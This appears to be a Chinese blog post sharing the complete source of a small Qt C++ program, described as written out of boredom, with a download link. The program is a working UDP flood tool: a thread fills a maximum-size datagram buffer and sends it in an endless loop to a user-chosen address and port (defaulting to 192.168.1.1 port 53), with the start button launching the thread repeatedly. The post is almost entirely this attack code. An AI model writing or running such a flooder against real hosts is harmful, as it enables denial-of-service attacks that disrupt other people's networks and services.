没有事情做 随手写的小程序

Qt 代码包 在百度网盘里

链接: https://pan.baidu.com/s/17yjeAkzi18upfqfD7KxXOQ?pwd=6666

dialog.h :

cpp 复制代码
#ifndef DIALOG_H
#define DIALOG_H

#include <QDialog>
#include <mythread.h>




QT_BEGIN_NAMESPACE
namespace Ui {
class Dialog;
}
QT_END_NAMESPACE

class Dialog : public QDialog
{
    Q_OBJECT

public:
    Dialog(QWidget *parent = nullptr);
    ~Dialog();
    mythread *thread;


private slots:
    void on_pushButton_clicked();

    void on_pushButton_2_clicked();

private:
    Ui::Dialog *ui;
};
#endif // DIALOG_H

mythread.h :

cpp 复制代码
#ifndef MYTHREAD_H
#define MYTHREAD_H

#include <QObject>
#include <QThread>
#include <QUdpSocket>
#include <QByteArray>
#include <QString>
#include <QHostAddress>
#include <QDebug>

class mythread : public QThread
{
    Q_OBJECT
public:
    mythread();
    QString address;
    QString port;
    QByteArray buffer;
    void run();
    QUdpSocket *socket;
    void setaddress(QString maddress);
    void setport(QString mport);
    void setstop(bool mclose);
    bool close;

};

#endif // MYTHREAD_H

dialog.cpp :

cpp 复制代码
#include "dialog.h"
#include "ui_dialog.h"

Dialog::Dialog(QWidget *parent)
    : QDialog(parent)
    , ui(new Ui::Dialog)
{
    ui->setupUi(this);
}

Dialog::~Dialog()
{
    delete ui;
}

void Dialog::on_pushButton_clicked()
{
    thread = new mythread();
    thread->setstop(true);
    thread->setaddress(ui->lineEdit->text());
    thread->setport(ui->lineEdit_2->text());
    thread->start();
    thread->start();
    thread->start();
    thread->start();
    thread->start();
    thread->start();
}


void Dialog::on_pushButton_2_clicked()
{
    thread->setstop(false);
}

mythread.cpp :

cpp 复制代码
#include "mythread.h"

mythread::mythread()
{
    socket = new QUdpSocket(this);
    address = "192.168.1.1";
    port = "53";
    close = true;
}


void mythread::run()
{
    for(int i=0;i<65507;i++)
    {
        buffer.append("a");
    }
    while(close){
        socket->writeDatagram(buffer,QHostAddress(address),port.toInt());
    }
}



void mythread::setaddress(QString maddress)
{
    address = maddress;
}


void mythread::setport(QString mport)
{
    port = mport;
}

void mythread::setstop(bool mclose)
{
    close = mclose;
}

.pro :

bash 复制代码
QT       += core gui network

greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

CONFIG += c++17

# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0

SOURCES += \
    main.cpp \
    dialog.cpp \
    mythread.cpp

HEADERS += \
    dialog.h \
    mythread.h

FORMS += \
    dialog.ui

# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target
相关推荐
机器视觉知识推荐、就业指导17 分钟前
Qt 小技巧:如何用 Q_PROPERTY 管理属性
服务器·数据库·qt
hqwest41 分钟前
码上通QT实战11--监控页面03-绘制湿度盘和亮度盘
开发语言·qt·绘图·自定义组件·部件·qpainter·温度盘
起个名字费劲死了1 小时前
QT + Socket 客户端/服务端 公网通讯
服务器·c++·qt·socket
羊小猪~~5 小时前
【QT】-- QT基础类
开发语言·c++·后端·stm32·单片机·qt
起个名字费劲死了6 小时前
QT 学习:协同开发的程序如何汇总到主程序
qt
资深流水灯工程师8 小时前
基于Python的Qt开发之Pyside6 QtSerialPort库的使用
python·qt
一只小bit8 小时前
Qt 对话框全方面详解,包含示例与解析
前端·c++·qt·cpp·页面
SunkingYang8 小时前
QT中QStringList如何查找指定字符串,有哪些方式?
qt·字符串·查找·子串·qstringlist
牵牛老人9 小时前
Qt后端开发遇到跨域问题终极解决方案 与 Nginx反向代理全解析
qt·nginx·状态模式
hqwest9 小时前
码上通QT实战32--报警页面02-触发报警条件
开发语言·qt·传感器采集·温度报警·湿度报警·亮度报警·阈值判定